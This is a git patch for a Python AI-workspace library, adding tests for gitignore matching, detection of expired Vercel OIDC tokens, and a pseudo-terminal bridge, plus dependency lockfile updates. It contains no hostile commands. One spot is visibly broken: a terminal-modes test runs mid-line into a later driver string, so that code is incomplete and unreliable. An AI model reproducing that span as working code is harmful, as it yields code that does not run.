(tmp_path / "apps" / ".gitignore").write_text("*.local\n") + web = tmp_path / "apps" / "web" + put(web, "a.secret", "top-only", "cfg.local", "scratch/x", "index.ts") + + assert files(web) == {"top-only", "index.ts"} + + +def test_a_directory_that_is_not_a_repository_still_reads_its_file( + tmp_path: Path, +) -> None: + (tmp_path / ".gitignore").write_text("*.log\n") + put(tmp_path, "a.log", "b.py") + + assert files(tmp_path) == {".gitignore", "b.py"} + + +# --- Against git itself ----------------------------------------------------- + +RULES = """# what a real project writes +*.log +!important.log +/dist +build/ +node_modules +docs/drafts +**/gen +assets/** +a/**/z.txt +?.tmp +[abc].dat +[!x].out +\\#literal +spaced\\ +*.secret +/top-only +""" + +TREE = ( + "keep.py", + "debug.log", + "important.log", + "sub/important.log", + "sub/x.log", + "dist/a.js", + "src/dist/b.js", + "build/o", + "src/build", + "src/build.py", + "node_modules/m.js", + "pkg/node_modules/m.js", + "docs/drafts/d.md", + "other/docs/drafts/d.md", + "gen/x", + "deep/gen/x", + "deep/ok", + "assets/i.png", + "assets/sub/i.png", + "a/z.txt", + "a/x/z.txt", + "a/x/y/z.txt", + "a/x/y.txt", + "1.tmp", + "12.tmp", + "a.dat", + "d.dat", + "x.out", + "y.out", + "#literal", + "spaced ", + "spaced", + "apps/web/a.secret", + "apps/web/top-only", + "apps/web/cfg.local", + "apps/web/index.ts", + "apps/web/nested/.gitignore", + "apps/web/nested/keep.log", + "apps/web/nested/drop.log", + "top-only", +) + + +def git_ls(cwd: Path) -> set[str]: + """Every untracked file git would NOT ignore, relative to `cwd`. + + Global and system configuration are switched off so only the files in + the tree speak — this must not depend on the developer's own excludes. + """ + env = { + **os.environ, + "GIT_CONFIG_GLOBAL": os.devnull, + "GIT_CONFIG_NOSYSTEM": "1", + "HOME": str(cwd), + } + out = subprocess.run( + [ + "git", + "-c", + f"core.excludesFile={os.devnull}", + "ls-files", + "-o", + "--exclude-standard", + "-z", + ], + cwd=cwd, + env=env, + check=True, + capture_output=True, + ).stdout.decode() + return {p for p in out.split("\0") if p} + + +@pytest.fixture +def repo(tmp_path: Path) -> Path: + if shutil.which("git") is None: + pytest.skip("needs git to compare against") + subprocess.run(["git", "init", "-q"], cwd=tmp_path, check=True) + (tmp_path / ".gitignore").write_text(RULES) + put(tmp_path, *TREE) + (tmp_path / "apps" / ".gitignore").write_text("*.local\n") + (tmp_path / "apps" / "web" / "nested" / ".gitignore").write_text( + "!keep.log\n" + ) + return tmp_path + + +def test_reads_gitignore_the_way_git_does(repo: Path) -> None: + assert files(repo, ignore=[".git"]) == git_ls(repo) + + +def test_reads_a_subdirectory_the_way_git_does(repo: Path) -> None: + web = repo / "apps" / "web" + + assert files(web, ignore=[".git"]) == git_ls(web) diff --git a/tests/workspaces/experimental/test_sandbox.py b/tests/workspaces/experimental/test_sandbox.py new file mode 100644 index 00000000..bb80579b --- /dev/null +++ b/tests/workspaces/experimental/test_sandbox.py @@ -0,0 +1,102 @@ +"""An expired platform token must be NAMED as the cause, not surface as 403. + +Measured: a token that expired nineteen minutes into a run produced 84 +identical setup errors and 5 failures reading `HTTP 403: Not authorized`, +and nothing in twenty minutes of output said "expired". +""" + +from __future__ import annotations + +import base64 +import json +import time + +import pytest + +from ai.workspaces.experimental._sandbox import ( + _auth_hint, + _looks_like_auth_failure, + oidc_token_expiry, +) + + +def _jwt(exp: float) -> str: + body = ( + base64.urlsafe_b64encode(json.dumps({"exp": exp}).encode()) + .decode() + .rstrip("=") + ) + return f"eyJhbGciOiJub25lIn0.{body}.sig" + + +def test_expiry_is_read_from_the_token() -> None: + assert oidc_token_expiry(_jwt(1_800_000_000)) == 1_800_000_000.0 + + +def test_garbage_is_not_a_token() -> None: + assert oidc_token_expiry("") is None + assert oidc_token_expiry("not.a.jwt") is None + assert oidc_token_expiry(None) is None + + +def test_platform_denials_are_recognised() -> None: + assert _looks_like_auth_failure( + Exception("HTTP 403: Not authorized (code=forbidden)") + ) + assert _looks_like_auth_failure(Exception("HTTP 401 Unauthorized")) + assert not _looks_like_auth_failure(Exception("HTTP 500: internal")) + assert not _looks_like_auth_failure(Exception("connection reset")) + + +def test_the_hint_names_expiry_when_that_is_the_cause( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("VERCEL_OIDC_TOKEN", _jwt(time.time() - 60)) + hint = _auth_hint() + assert "expired at" in hint + assert "vercel env pull" in hint + + +def test_the_hint_is_generic_when_the_token_is_live( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setenv("VERCEL_OIDC_TOKEN", _jwt(time.time() + 3600)) + assert "expired" not in _auth_hint() + + +def test_the_sdk_credentials_error_is_an_auth_failure() -> None: + class SandboxCredentialsError(Exception): ... + + assert _looks_like_auth_failure( + SandboxCredentialsError( + "OIDC token present but could not determine VERCEL_PROJECT_ID" + ) + ) + + +def test_the_suite_stops_once_on_an_expired_token( + monkeypatch: pytest.MonkeyPatch, +) -> None: + """The guard lives in tests/workspaces/experimental/conftest.py. + + It must be tested from inside a test, because conftest's `env_local` + overrides os.environ from .env.local before any test runs — a fake token + set in the shell is replaced by the real one before the guard ever sees + it. Two probes were defeated by exactly that before this test was written. + """ + from _pytest.outcomes import Exit + + from tests.workspaces.experimental.conftest import sandbox_credentials + + monkeypatch.setenv("VERCEL_OIDC_TOKEN", _jwt(time.time() - 60)) + monkeypatch.delenv("VERCEL_TOKEN", raising=False) + with pytest.raises(Exit, match=r"expired at .*vercel env pull"): + sandbox_credentials() + + +def test_a_live_token_passes_the_guard(monkeypatch: pytest.MonkeyPatch) -> None: + from tests.workspaces.experimental.conftest import sandbox_credentials + + monkeypatch.setenv("VERCEL_OIDC_TOKEN", _jwt(time.time() + 3600)) + monkeypatch.delenv("VERCEL_TOKEN", raising=False) + assert sandbox_credentials() == {} diff --git a/tests/workspaces/experimental/test_tty.py b/tests/workspaces/experimental/test_tty.py new file mode 100644 index 00000000..fd5e4565 --- /dev/null +++ b/tests/workspaces/experimental/test_tty.py @@ -0,0 +1,386 @@ +"""`tty.bridge` needs a real terminal, so give it one: a pseudo-terminal of +its own, with the bridge running inside it and this test playing the human.""" + +from __future__ import annotations + +import contextlib +import os +import pty +import select +import sys +import time +import uuid +from pathlib import Path + +import pytest + +DRIVER = """ +import asyncio, sys +from ai.workspaces.experimental import tty +from ai.workspaces.experimental import Local +async def main(): + async with Local(sys.argv[1]) as ws: + p = await ws.pty(["sh", "-i"], name=sys.argv[2]) + status = await tty.bridge(p) + print(f"BRIDGE-RETURNED:{status}", flush=True) +asyncio.run(main()) +""" + + +def _read_until(fd: int, needle: bytes, timeout: float = 15) -> bytes: + seen, end = b"", time.monotonic() + timeout + while needle not in seen and time.monotonic() < end: + ready, _, _ = select.select([fd], [], [], 0.5) + if ready: + try: + chunk = os.read(fd, 65536) + except OSError: + break + if not chunk: + break + seen += chunk + return seen + + +@pytest.mark.timeout(60) +def test_bridge_types_through_and_detaches_on_the_key(tmp_path: Path) -> None: + name = f"bridge-{uuid.uuid4().hex[:8]}" + pid, master = pty.fork() + if pid == 0: # the "human's terminal": run the driver inside it + os.chdir(tmp_path) + os.execv( + sys.executable, [sys.executable, "-c", DRIVER, str(tmp_path), name] + ) + try: + # Wait for the inner shell's prompt to come through the bridge, as a + # human would, before typing at it. + assert b"$ " in _read_until( + master, b"$ " + ), "the bridged shell never showed a prompt" + os.write(master, b"echo typed-$((6*7))\n") + out = _read_until(master, b"typed-42") + assert ( + b"typed-42" in out + ), "keystrokes must reach the program and its output must come back" + os.write(master, b"\x1d") # Ctrl-]: detach + out = _read_until(master, b"BRIDGE-RETURNED:") + assert ( + b"BRIDGE-RETURNED:None" in out + ), "the detach key returns None, not an exit status" + _, raw = os.waitpid(pid, 0) + assert os.waitstatus_to_exitcode(raw) == 0 + finally: + os.close(master) + + # The named program outlived the bridge; attach finds it and close() ends + # it. + import asyncio + + from ai.workspaces.experimental import Local + + async def check() -> None: + async with Local(tmp_path) as ws: + assert name in [p.name for p in await ws.ptys()] + again = await ws.attach(name) + await again.close() + await asyncio.sleep(0.5) + assert name not in [p.name for p in await ws.ptys()] + + asyncio.run(check()) + + +def _wait_exit(pid: int, timeout: float = 15) -> int | None: + end = time.monotonic() + timeout + while time.monotonic() < end: + done, raw = os.waitpid(pid, os.WNOHANG) + if done: + return os.waitstatus_to_exitcode(raw) + time.sleep(0.1) + return None + + +@pytest.mark.timeout(60) +def test_bridge_ends_when_the_terminal_goes_away(tmp_path: Path) -> None: + """The failure that once left a real terminal stuck: the bridge's reader + stops working while the program keeps drawing. Closing the terminal end + must END the bridge (tty restored) rather than hang in raw mode.""" + name = f"bridge-{uuid.uuid4().hex[:8]}" + pid, master = pty.fork() + if pid == 0: + os.chdir(tmp_path) + os.execv( + sys.executable, [sys.executable, "-c", DRIVER, str(tmp_path), name] + ) + assert b"$ " in _read_until( + master, b"$ " + ), "the bridged shell never showed a prompt" + os.close(master) # the human's terminal vanishes + status = _wait_exit(pid) + assert ( + status is not None + ), "the bridge must end when its terminal is gone, not hang" + import asyncio + + from ai.workspaces.experimental import Local + + async def cleanup() -> None: + async with Local(tmp_path) as ws: + if name in [p.name for p in await ws.ptys()]: + await (await ws.attach(name)).close() + + asyncio.run(cleanup()) + + +@pytest.mark.timeout(60) +def test_bridge_ends_when_another_client_attaches(tmp_path: Path) -> None: + """A named pty serves one client; a second attach displaces the first. + + The displaced bridge must return (with a reason), leaving the program + running for the newcomer. + """ + import asyncio + + from ai.workspaces.experimental import Local + + name = f"bridge-{uuid.uuid4().hex[:8]}" + pid, master = pty.fork() + if pid == 0: + os.chdir(tmp_path) + os.execv( + sys.executable, [sys.executable, "-c", DRIVER, str(tmp_path), name] + ) + try: + assert b"$ " in _read_until(master, b"$ ") + + async def displace() -> None: + async with Local(tmp_path) as ws: + other = await ws.attach(name) # displaces the bridge's client + await other.send(b"echo still-alive\n") + seen = b"" + async with asyncio.timeout(10): + while b"still-alive" not in seen: + chunk = await other.receive() + if not chunk: + break + seen += chunk + assert ( + b"still-alive" in seen + ), "the program must keep running for the new client" + await other.close() + + asyncio.run(displace()) + out = _read_until(master, b"BRIDGE-RETURNED:") + assert b"BRIDGE-RETURNED:None" in out + assert b"another client attached" in out + assert _wait_exit(pid) == 0 + finally: + with contextlib.suppress(OSError): + os.close(master) + + +BURST_DRIVER = """ +import asyncio, sys +from ai.workspaces.experimental import tty +from ai.workspaces.experimental import Local +async def main(): + async with Local(sys.argv[1]) as ws: + # A program that, once the bridge is up, redraws a long transcript at + # once: 4096 numbered lines, then exits. + p = await ws.pty([ + "sh", + "-c", + "sleep 1; i=0; while [ $i -lt 4096 ]; do echo " + "\\"line-$i-" + "x" * 60 + "\\"; i=$((i+1)); done", + ]) + status = await tty.bridge(p) + print(f"BRIDGE-RETURNED:{status}", flush=True) +asyncio.run(main()) +""" + + +@pytest.mark.timeout(90) +def test_bridge_delivers_a_burst_to_a_slow_terminal(tmp_path: Path) -> None: + """What stuck a real terminal: a long transcript redraw on a terminal that + drains slower than the program writes. Every byte must arrive, in order, + and the bridge must return — nothing truncated, nothing failing.""" + pid, master = pty.fork() + if pid == 0: + os.chdir(tmp_path) + os.execv( + sys.executable, [sys.executable, "-c", BURST_DRIVER, str(tmp_path)] + ) + try: + time.sleep( + 2 + ) # the human's terminal is busy: nothing drained while the burst lands + seen = b"" + end = time.monotonic() + 60 + while b"BRIDGE-RETURNED:" not in seen and time.monotonic() < end: + ready, _, _ = select.select([master], [], [], 0.5) + if ready: + try: + chunk = os.read(master, 512) # and then drains slowly + except OSError: + break + if not chunk: + break + seen += chunk + time.sleep(0.002) + text = seen.replace(b"\r\n", b"\n").decode(errors="replace") + lines = [ln for ln in text.split("\n") if ln.startswith("line-")] + assert ( + len(lines) == 4096 + ), f"{len(lines)} of 4096 lines reached the terminal" + expected = [f"line-{i}-" + "x" * 60 for i in range(4096)] + assert lines == expected, "every line must arrive whole and in order" + assert "BRIDGE-RETURNED:0" in text + assert _wait_exit(pid) == 0 + finally: + with contextlib.suppress(OSError): + os.close(master) + + +QUICK_DRIVER = """ +import asyncio, sys +from ai.workspaces.experimental import tty +from ai.workspaces.experimental import Local +async def main(): + async with Local(sys.argv[1]) as ws: + p = await ws.pty(["sh", "-c", "echo quick-output; exit 3"]) + status = await tty.bridge(p) + print(f"BRIDGE-RETURNED:{status}", flush=True) +asyncio.run(main()) +""" + + +@pytest.mark.timeout(60) +def test_bridge_shows_a_program_that_ended_before_it_was_ready( + tmp_path: Path, +) -> None: + """A program can finish before the bridge has even sized its terminal. + + Its output and exit status must still come through, not a traceback from a + resize sent to a program that is gone. + """ + pid, master = pty.fork() + if pid == 0: + os.chdir(tmp_path) + os.execv( + sys.executable, [sys.executable, "-c", QUICK_DRIVER, str(tmp_path)] + ) + try: + out = _read_until(master, b"BRIDGE-RETURNED:") + assert ( + b"quick-output" in out + ), "the program's output must reach the terminal" + assert ( + b"BRIDGE-RETURNED:3" in out + ), "the program's exit status is the bridge's return" + assert b"Traceback" not in out + assert ( + b"[tty.bridge]" not in out + ), "a program that simply ended is not a failure to report" + assert _wait_exit(pid) == 0 + finally: + with contextlib.suppress(OSError): + os.close(master) + + +def test_the_modes_a_program_set_are_undone_and_nothing_else() -> None: + """What claude leaves on when you detach from it, measured, plus the + enhanced keyboard protocol it asks for: each is switched off, and only + what the program itself set.""" + from ai.workspaces.experimental.tty import _TerminalModes + + modes = _TerminalModes() + modes.feed(b"\x1b[?25l\x1b[?2004h\x1b[?1004h\x1b[?2031h") + modes.feed( + b"hello \x1b[>1u world \x1b[>5u" + ) # two keyboard-protocol levels pushed + modes.feed(b"\x1b[?1000h\x1b[?1000l") # set and cleared: nothing to undo + restore = modes.restore() + for undo in ( + b"\x1b[?25h", + b"\x1b[?2004l", + b"\x1b[?1004l", + b"\x1b[?2031l", + b"\x1b[<2u", + ): + assert undo in restore, undo + assert ( + b"1000" not in restore + ), "a mode the program already cleared is not touched" + assert ( + _TerminalModes().restore() == b"" + ), "a program that set nothing leaves nothing to undo" + + +def test_a_sequence_split_across_reads_is_still_seen() -> None: + from ai.workspaces.experimental.tty import _TerminalModes + + modes = _TerminalModes() + modes.feed(b"text \x1b[?20") + modes.feed(b"04h more \x1b") + modes.feed(b"[>1u") + assert modes.restore() == b"\x1b[?2004l\x1b[<1u" + + +def test_a_pop_by_the_program_is_counted() -> None: + from ai.workspaces.experimental.tty import _TerminalModes + + modes = _TerminalModes() + modes.feed(b"\x1b[>1u\x1b[>1u\x1b[1uMODES-ON'; " + "sleep 30", + ], + name=sys.argv[2], + ) + status = await tty.bridge(p) + print(f"BRIDGE-RETURNED:{status}", flush=True) + again = await ws.attach(sys.argv[2]) + await again.close() +asyncio.run(main()) +""" + + +@pytest.mark.timeout(60) +def test_detaching_hands_back_a_terminal_without_the_programs_modes( + tmp_path: Path, +) -> None: + """The program is still running after Ctrl-], so it never restores what it + set; the bridge does, before it returns the terminal to the shell.""" + name = f"bridge-{uuid.uuid4().hex[:8]}" + pid, master = pty.fork() + if pid == 0: + os.chdir(tmp_path) + os.execv( + sys.executable, + [sys.executable, "-c", MODES_DRIVER, str(tmp_path), name], + ) + try: + assert b"MODES-ON" in _read_until(master, b"MODES-ON") + os.write(master, b"\x1d") + out = _read_until(master, b"BRIDGE-RETURNED:") + after = out.split(b"MODES-ON", 1)[-1] + for undo in (b"\x1b[?25h", b"\x1b[?2004l", b"\x1b[<1u"): + assert undo in after, f"{undo!r} not written on detach" + assert b"BRIDGE-RETURNED:None" in out + assert _wait_exit(pid) == 0 + finally: + with contextlib.suppress(OSError): + os.close(master) diff --git a/uv.lock b/uv.lock index bb52cb72..d7670d47 100644 --- a/uv.lock +++ b/uv.lock @@ -25,6 +25,9 @@ dependencies = [ anthropic = [ { name = "anthropic" }, ] +claude-code = [ + { name = "claude-agent-sdk" }, +] mcp = [ { name = "mcp" }, ] @@ -35,6 +38,9 @@ otel = [ { name = "opentelemetry-exporter-otlp-proto-http" }, { name = "opentelemetry-sdk" }, ] +sandbox = [ + { name = "vercel-sandbox" }, +] vercel = [ { name = "vercel-oidc" }, ] @@ -43,6 +49,7 @@ vercel = [ dev = [ { name = "anthropic" }, { name = "async-solipsism" }, + { name = "claude-agent-sdk" }, { name = "mcp" }, { name = "mypy" }, { name = "openai" }, @@ -50,16 +57,19 @@ dev = [ { name = "opentelemetry-sdk" }, { name = "pytest" }, { name = "pytest-asyncio" }, + { name = "pytest-timeout" }, { name = "python-dotenv" }, { name = "rich" }, { name = "ruff" }, { name = "ty" }, { name = "vercel-oidc" }, + { name = "vercel-sandbox" }, ] [package.metadata] requires-dist = [ { name = "anthropic", marker = "extra == 'anthropic'", specifier = ">=0.83.0,<2.0.0" }, + { name = "claude-agent-sdk", marker = "extra == 'claude-code'", specifier = ">=0.2.144,<0.3" }, { name = "httpx2", specifier = ">=2.12.0" }, { name = "mcp", marker = "extra == 'mcp'", specifier = ">=2.0.0,<3.0.0" }, { name = "modelsdotdev", specifier = "==0.*" }, @@ -69,13 +79,15 @@ requires-dist = [ { name = "pydantic", specifier = ">=2.13" }, { name = "typing-extensions", specifier = ">=4.15.0" }, { name = "vercel-oidc", marker = "extra == 'vercel'", specifier = ">=0.8.0" }, + { name = "vercel-sandbox", marker = "extra == 'sandbox'" }, ] -provides-extras = ["anthropic", "mcp", "openai", "otel", "vercel"] +provides-extras = ["anthropic", "claude-code", "mcp", "openai", "otel", "sandbox", "vercel"] [package.metadata.requires-dev] dev = [ { name = "anthropic", specifier = ">=0.83.0" }, { name = "async-solipsism", specifier = ">=0.9" }, + { name = "claude-agent-sdk", specifier = ">=0.2.144,<0.3" }, { name = "mcp", specifier = ">=2.0.0,<3.0.0" }, { name = "mypy", specifier = "~=2.1.0" }, { name = "openai", specifier = ">=2.14.0" }, @@ -83,11 +95,13 @@ dev = [ { name = "opentelemetry-sdk", specifier = ">=1.43.0" }, { name = "pytest", specifier = ">=8.0" }, { name = "pytest-asyncio", specifier = ">=0.24" }, + { name = "pytest-timeout", specifier = ">=2.3" }, { name = "python-dotenv", specifier = ">=1.2.1" }, { name = "rich", specifier = ">=14.2.0" }, { name = "ruff", specifier = "~=0.8.0" }, { name = "ty", specifier = "~=0.0.37" }, { name = "vercel-oidc", specifier = ">=0.8.0" }, + { name = "vercel-sandbox", git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50" }, ] [[package]] @@ -327,6 +341,24 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, ] +[[package]] +name = "claude-agent-sdk" +version = "0.2.160" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "jsonschema" }, + { name = "mcp" }, + { name = "sniffio" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/bd/46/ff902a63d79b278fd8631ef420b9d6a6e85959f0c75e87c3ecc7a0397608/claude_agent_sdk-0.2.160.tar.gz", hash = "sha256:1107f7804c656e194cbf80d9e20b4b861803bc16c4067a04839a347c9d140f48", size = 365170, upload-time = "2026-09-25T22:31:19.672Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b4/c0/3ef94041ac8daf218e04d2047fa780643abeabbe9ca0495391f25078e169/claude_agent_sdk-0.2.160-py3-none-macosx_11_0_arm64.whl", hash = "sha256:547cb16c94c67b57873c1ac9b5ce83076941d5189d52601b9791032d13a21456", size = 93695006, upload-time = "2026-09-25T22:31:24.616Z" }, + { url = "https://files.pythonhosted.org/packages/f2/6f/74ba55f294cc132ced13de24d8011e30f0073075fa829aa4aa09d66c1493/claude_agent_sdk-0.2.160-py3-none-macosx_11_0_x86_64.whl", hash = "sha256:cc77386858bd5e716914544a35a0620fe1586d130299d1c7b2e207bebd02ace4", size = 98113129, upload-time = "2026-09-25T22:31:30.278Z" }, + { url = "https://files.pythonhosted.org/packages/17/bf/560d9c04d574484d6659ba325693e14f03d8aa2ca38781736ed08635b22d/claude_agent_sdk-0.2.160-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:59638c6acd0159da200eb9d8fbb282d6c8d2191e6fcdd02fa751857c014b7e40", size = 103152841, upload-time = "2026-09-25T22:31:35.62Z" }, + { url = "https://files.pythonhosted.org/packages/9d/04/fcb6c6a77d5ee04cd6dc7c1e43e824e73ce57d2c59f1cdb80c0255bfc4ac/claude_agent_sdk-0.2.160-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:70d1dd4286b69ecdc334d66e7b9dae8532790803f7cd7e0bf269bd5e407f2259", size = 103518762, upload-time = "2026-09-25T22:31:41.303Z" }, +] + [[package]] name = "click" version = "8.3.1" @@ -434,19 +466,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, ] -[[package]] -name = "httpcore" -version = "1.0.9" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "certifi" }, - { name = "h11" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, -] - [[package]] name = "httpcore2" version = "2.12.0" @@ -460,21 +479,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/d2/74/d370e55600d9bcfa0d9794b0166126d49291a3d2b20c268fc98c453a4948/httpcore2-2.12.0-py3-none-any.whl", hash = "sha256:7e04258ce01013d7d615e5b910a3b27fac937d7a95038227e79652b4ba3b4ceb", size = 83074, upload-time = "2026-08-18T13:22:05.854Z" }, ] -[[package]] -name = "httpx" -version = "0.28.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "anyio" }, - { name = "certifi" }, - { name = "httpcore" }, - { name = "idna" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, -] - [[package]] name = "httpx2" version = "2.12.0" @@ -492,6 +496,11 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/c8/95/411ba65569158e862368917aaf56597f3e5fa3b91b0502919638465a08f3/httpx2-2.12.0-py3-none-any.whl", hash = "sha256:cc8b6eecb8661c146b8f89a60e97456ee086e91a784ed31ac450c3a9e613dd36", size = 95427, upload-time = "2026-08-18T13:22:06.834Z" }, ] +[package.optional-dependencies] +ws = [ + { name = "wsproto" }, +] + [[package]] name = "httpx2-jsfetch" version = "1.0" @@ -1086,6 +1095,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", size = 15075, upload-time = "2025-11-10T16:07:45.537Z" }, ] +[[package]] +name = "pytest-timeout" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ac/82/4c9ecabab13363e72d880f2fb504c5f750433b2b6f16e99f4ec21ada284c/pytest_timeout-2.4.0.tar.gz", hash = "sha256:7e68e90b01f9eff71332b25001f85c75495fc4e3a836701876183c4bcfd0540a", size = 17973, upload-time = "2025-05-05T19:44:34.99Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/b6/3127540ecdf1464a00e5a01ee60a1b09175f6913f0644ac748494d9c4b21/pytest_timeout-2.4.0-py3-none-any.whl", hash = "sha256:c42667e5cdadb151aeb5b26d114aff6bdf5a907f176a007a30b940d3d865b5c2", size = 14382, upload-time = "2025-05-05T19:44:33.502Z" }, +] + [[package]] name = "python-dotenv" version = "1.2.1" @@ -1382,23 +1403,48 @@ wheels = [ [[package]] name = "vercel-headers" -version = "0.7.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/20/50/2fbe5563b1f710c5cec3076efe94df887dd89c7ce0f4238b81f169f5d733/vercel_headers-0.7.1.tar.gz", hash = "sha256:46e63a99a3095f3b4fa324c80e5aeee5886ca474ef5ecbfe6eabb5f2bd64928a", size = 5410, upload-time = "2026-07-16T14:23:35.768Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/28/b8/5484e7ecf876c031831623efc547edcf94e2e33db4251d17c2d117c18cb0/vercel_headers-0.7.1-py3-none-any.whl", hash = "sha256:6ef65f0baffdf19775b693265d6118e125251456fb192324f4006dd341c77abc", size = 3907, upload-time = "2026-07-16T14:23:34.942Z" }, +version = "0.7.2" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } + +[[package]] +name = "vercel-internal-core" +version = "0.2.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, ] [[package]] name = "vercel-oidc" -version = "0.8.0" -source = { registry = "https://pypi.org/simple" } +version = "0.9.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } dependencies = [ { name = "anyio" }, - { name = "httpx" }, + { name = "httpx2" }, { name = "vercel-headers" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/34/c5/fa8c0c298f86e9e144fb012b3f6d45490e9af240dd6d3319cd2e2441002b/vercel_oidc-0.8.0.tar.gz", hash = "sha256:dbcb1e19697c87f89ae25c5bfeb8018fdb3904d9d92290796cc290ae7eeef61e", size = 16117, upload-time = "2026-08-08T00:16:40.203Z" } + +[[package]] +name = "vercel-sandbox" +version = "0.7.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2", extra = ["ws"] }, + { name = "pydantic" }, + { name = "vercel-internal-core" }, + { name = "vercel-oidc" }, +] + +[[package]] +name = "wsproto" +version = "1.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/79/12135bdf8b9c9367b8701c2c19a14c913c120b882d50b014ca0d38083c2c/wsproto-1.3.2.tar.gz", hash = "sha256:b86885dcf294e15204919950f666e06ffc6c7c114ca900b060d6e16293528294", size = 50116, upload-time = "2025-11-20T18:18:01.871Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/1a/d6/c380d2d171840a67883a30f453b2edb3adabab3b5519941b445c312135c6/vercel_oidc-0.8.0-py3-none-any.whl", hash = "sha256:fb8bb715f20edf5539554951d0374b4956550688c8a8b7ccb69f8275ff464e22", size = 15996, upload-time = "2026-08-08T00:16:39.349Z" }, + { url = "https://files.pythonhosted.org/packages/a4/f5/10b68b7b1544245097b2a1b8238f66f2fc6dcaeb24ba5d917f52bd2eed4f/wsproto-1.3.2-py3-none-any.whl", hash = "sha256:61eea322cdf56e8cc904bd3ad7573359a242ba65688716b0710a5eb12beab584", size = 24405, upload-time = "2025-11-20T18:18:00.454Z" }, ] From 745f1d02e6abd4e5c7a38aef2ddc6ed2e27a115a Mon Sep 17 00:00:00 2001 From: George Date: Tue, 29 Sep 2026 11:13:45 -0700 Subject: [PATCH 02/37] Track vercel-sandbox main now that interactive PTY is merged vercel/vercel-py#415 merged to main (not released yet). Point the dev group and the afk and deepysec apps at main; uv.lock pins the commit. The merged API moved terminal I/O onto `InteractiveSession.stream`, an anyio byte stream that raises at end of stream instead of returning b"". Use it, and treat a raise in the ready-marker loops as the end. --- examples/apps/afk/pyproject.toml | 6 +++--- examples/apps/afk/uv.lock | 17 +++++++++++------ examples/apps/deepysec/pyproject.toml | 6 +++--- examples/apps/deepysec/uv.lock | 12 ++++++------ pyproject.toml | 8 ++++---- src/ai/workspaces/experimental/_sandbox.py | 16 +++++++++------- uv.lock | 